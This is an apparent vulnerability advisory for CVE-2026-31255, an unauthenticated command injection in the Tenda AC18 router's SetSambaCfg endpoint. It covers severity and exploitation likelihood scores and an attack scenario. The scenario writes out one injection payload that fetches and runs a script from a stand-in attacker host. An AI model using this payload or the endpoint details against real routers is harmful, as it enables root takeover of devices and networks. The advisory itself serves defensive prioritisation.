Tenda AC18 CVE-2026-31255

Remote unauthenticated exploitation against default configurations of Tenda AC18 firmware V15.03.05.05_multi. The CVSS vector AV:N/AC:L/PR:N/UI:N confirms no special conditions are required-no authentication, no user interaction, no complex configuration prerequisites. The vulnerable /goform/SetSambaCfg endpoint is accessible from the router's web management interface without login when default settings are in place. Exploitation is limited only by network reachability: attackers require HTTP connectivity to the router's management interface, which is typically exposed to LAN clients by default. If remote management is enabled (a common but non-default configuration), the interface becomes accessible from the internet, dramatically expanding the attack surface. The vulnerability does not require the Samba service to be actively configured or enabled-merely having the firmware version installed makes the injection endpoint accessible.

CVSS 9.8 represents maximum exploitability conditions: network-accessible (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and full impact to confidentiality, integrity, and availability. However, EPSS score of 0.06% (19th percentile) indicates minimal observed exploitation activity in the wild, suggesting this is not yet a mass-exploitation target despite its technical severity. No CISA KEV listing confirms this vulnerability is not confirmed as actively exploited in real-world attacks. The contradiction between extreme CVSS and low EPSS likely reflects limited attacker interest in this specific router model or firmware version, though the technical barriers to exploitation are minimal. The publicly available GitHub proof-of-concept lowers the skill threshold for exploitation but has not yet translated to widespread scanning. From SSVC perspective: exploitation is public (POC), likely automatable given the network vector and simple injection pattern, with total technical impact. Priority depends heavily on asset exposure-internet-facing AC18 routers running this firmware version warrant immediate patching, while LAN-only deployments face reduced but still critical risk from internal attackers or lateral movement scenarios.

An external attacker scans the internet for Tenda AC18 routers with exposed web management interfaces on default port 80 or 8080. Upon discovering the vulnerable firmware version, the attacker crafts an HTTP POST request to http://[router-ip]/goform/SetSambaCfg with a malicious guestuser parameter containing command injection payloads such as '; wget http://attacker.com/malware.sh -O /tmp/m; sh /tmp/m;'. The router executes this command with root privileges, downloading and executing attacker-controlled scripts. The attacker establishes persistent backdoor access, harvests network credentials stored in router configuration, redirects DNS queries to phishing sites, or uses the compromised router as a pivot point for attacking internal network devices. Publicly available proof-of-concept code on GitHub provides step-by-step exploitation instructions, lowering the barrier for script kiddies and automated scanning campaigns.